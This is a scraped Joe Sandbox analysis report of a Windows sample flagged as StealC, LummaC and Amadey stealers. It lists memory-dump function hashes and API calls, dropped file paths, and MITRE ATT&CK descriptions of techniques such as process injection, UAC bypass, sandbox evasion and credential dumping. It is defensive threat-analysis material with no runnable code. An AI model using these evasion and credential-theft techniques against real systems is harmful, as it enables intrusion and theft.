Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 8b405a33b08332c3cec71723a15c88d7b77ab1a51641c793673f17921864e21b
Instruction ID: d6b7f02a1302872fca1fa22a0c9e1b2c3d61ad60b9d6d5cc7ae0b9e14cc2c4f9
Opcode Fuzzy Hash: 8b405a33b08332c3cec71723a15c88d7b77ab1a51641c793673f17921864e21b
Instruction Fuzzy Hash: 64D0A933090608EBDA00BBE08C0AB293BACA712721F008820FB1584073C7B5E415CB94

Function 6BF150E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6BF14E9C,?,?,?,?,?), ref: 6BF1510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6BF14E9C,?,?,?,?,?), ref: 6BF15167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6BF15196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6BF14E9C), ref: 6BF15234

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 7b01f220418dabdf8b9454e5a804af0fd01861f026cb013538d8ec4cc0899bbf
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 0491BE36908652CFCB15CF18C490A56BBA2FF99318B28898CDD589B325D335FC42CBE0

Function 6BF508F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BF9E7DC), ref: 6BF50918
LeaveCriticalSection.KERNEL32(6BF9E7DC), ref: 6BF509A6
EnterCriticalSection.KERNEL32(6BF9E7DC,?,00000000), ref: 6BF509F3
LeaveCriticalSection.KERNEL32(6BF9E7DC), ref: 6BF50ACB

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 36e6fab6db19f583be91f1e235c8a33266d9b74cce513739cf6ae53b785ae130
Instruction ID: df5a1a3f2db374135cea217db72791e0b0cde566150602d7bccdf9e3edc10e74
Opcode Fuzzy Hash: 36e6fab6db19f583be91f1e235c8a33266d9b74cce513739cf6ae53b785ae130
Instruction Fuzzy Hash: 5C514A33B20511CBEB04AF35D40072573A5FB91F287154279DC65977B0D7B9EC5A8781

Function 6BF759C0 Relevance: 5.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?,?,?,?,?,?,?,?,00000008,?,6BF4E56A,?,|UrlbarCSSSpan,0000000E,?), ref: 6BF75A47
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,00000008,?,6BF4E56A,?,|UrlbarCSSSpan), ref: 6BF75A5C
free.MOZGLUE(?), ref: 6BF75A97
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6BF75B9D

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: free$mallocmemset
String ID:
API String ID: 2682772760-0
Opcode ID: 1a883891f11c04544ae1859725a723ed12ec2a42625e65bc38986c868d5f2d18
Instruction ID: 3b06ca80de567824e6056cb3e663a3c338ccd01eea47a06936c8a66c287fb96d
Opcode Fuzzy Hash: 1a883891f11c04544ae1859725a723ed12ec2a42625e65bc38986c868d5f2d18
Instruction Fuzzy Hash: 9A516E725087409FE710DF28D8C061AF7E5FF89318F0489BEE9889B256D778D945CB62

Function 6BF223D8 Relevance: 5.1, APIs: 4, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 866b49403b672f606c723f9888363a9ef1ae0d88184e10546fd99561e5404adf
Instruction ID: 36467bfa2ee49b5eb0cb8b87a2501d89669f897f28a3c31a6c88c1a04675d2bb
Opcode Fuzzy Hash: 866b49403b672f606c723f9888363a9ef1ae0d88184e10546fd99561e5404adf
Instruction Fuzzy Hash: B951A2B2A10206CFDB04CF58C8D4759BBB1FF48314F558269E8199B3A1D776E895CF90

Function 6BF6DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6BF5FF2A), ref: 6BF6DFFD

Part of subcall function 6BF690E0: free.MOZGLUE(?,00000000,?,?,6BF6DEDB), ref: 6BF690FF
Part of subcall function 6BF690E0: free.MOZGLUE(?,00000000,?,?,6BF6DEDB), ref: 6BF69108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6BF5FF2A), ref: 6BF6E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6BF5FF2A), ref: 6BF6E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6BF5FF2A), ref: 6BF6E0FE

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: ed6a9ad0355ec6158c12f35f7fafef134e232079be72e1cb598de90446a5fe00
Instruction ID: a07ac899d69434597c0c30e1031f7ed39e07372c2b8a65d9650beb495dfd1e14
Opcode Fuzzy Hash: ed6a9ad0355ec6158c12f35f7fafef134e232079be72e1cb598de90446a5fe00
Instruction Fuzzy Hash: 0241C0B3A242069FEB14CF6CCC8039A73A6EB46744F144939D916DB360F736E905CB52

Function 6BF76180 Relevance: 5.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6BF761DD
memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6BF7622C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6BF76250
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF76292

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 27a1ec3b9232beff426b640a213a7ecba5c0dd3d51916df8f6721aac37839f16
Instruction ID: 375d9b4955042d5c32e9b8c824330b2eef0849b7acdb61e7cd97822eab3a10f8
Opcode Fuzzy Hash: 27a1ec3b9232beff426b640a213a7ecba5c0dd3d51916df8f6721aac37839f16
Instruction Fuzzy Hash: A4314672A0060A9FDB14DF2CE880BAA73E9FB95304F1041BAD41AD7271EB35E598C750

Function 6BF2BBE0 Relevance: 5.1, APIs: 4, Instructions: 96COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000010,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6BF2BBF4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6BF2BC66
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6BF2BC96
memcpy.VCRUNTIME140(00000000,00000010,0000001F,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF2BCCE

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 38ef05f4c9ef7ef23f5db70992a21ef718fd6dc27f139bc6e8fbaac027284522
Instruction ID: 6925a6aa3af6f16853baee62a4a755d0e13a98509a35fe5e4f5a69c96477fc96
Opcode Fuzzy Hash: 38ef05f4c9ef7ef23f5db70992a21ef718fd6dc27f139bc6e8fbaac027284522
Instruction Fuzzy Hash: C6210F73A402054BF7008FBD988576EB3E9EB81304F148E39DD5AD63B2EE74E5858761

Function 6BF139A0 Relevance: 5.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BF9E744,6BF77765,00000000,6BF77765,?,6BF36112), ref: 6BF139AF
LeaveCriticalSection.KERNEL32(6BF9E744,?,6BF36112), ref: 6BF13A34
EnterCriticalSection.KERNEL32(6BF9E784,6BF36112), ref: 6BF13A4B
LeaveCriticalSection.KERNEL32(6BF9E784), ref: 6BF13A5F

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 9fb4a1e863c45d5053c9d460c67d03b613a9e80a72be3b2d54188903f3f1ce5e
Instruction ID: 414dd46848d21b0b036eb7f05c153a072595ca1ab95f004dc958d53a8da7f710
Opcode Fuzzy Hash: 9fb4a1e863c45d5053c9d460c67d03b613a9e80a72be3b2d54188903f3f1ce5e
Instruction Fuzzy Hash: 492135336196019FDB24AF2AD441B2A73A6FB85B607240929D565C3770DB39E80EC783

Function 6BF2B940 Relevance: 5.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6BF2B96F
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020), ref: 6BF2B99A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6BF2B9B0
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF2B9B9

Memory Dump Source

Source File: 00000004.00000002.2347785472.000000006BF11000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6BF10000, based on PE: true

Associated: 00000004.00000002.2347749431.000000006BF10000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347880042.000000006BF8D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347923754.000000006BF9E000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000004.00000002.2347969818.000000006BFA2000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6bf10000_NU4SX64NXMV3YXYV8G3PIA0S0.jbxd

Similarity

API ID: memcpy$freemalloc
String ID:
API String ID: 3313557100-0
Opcode ID: 00052e064ac2bd05aabc6d385528ee353f4027a3508f6f4b1437e6848aff4734
Instruction ID: 7959a86e49c7644ec6063a34acc3fb1f8cd19156ffb8e5a2ad6b889aa591e98f
Opcode Fuzzy Hash: 00052e064ac2bd05aabc6d385528ee353f4027a3508f6f4b1437e6848aff4734
Instruction Fuzzy Hash: 011172B2A002059FDB04DF69D88189BB7F8BF98314B10493AE919D3311D735E915CAA1

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report random(4).exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BKFBAECB

C:\ProgramData\CAKKJKKECFIDGDHIJEGD

C:\ProgramData\CBAEHCAE

C:\ProgramData\FCFHJKJJJECGDHJJDHDA

C:\ProgramData\FHIDAKFIJJKJJJKEBKJEHCBGDA

C:\ProgramData\KECFCGHIDHCAKEBFCFHC

C:\ProgramData\KKECFIEBGCAKJKECGCFIIECGDB

Windows Analysis Report
random(4).exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
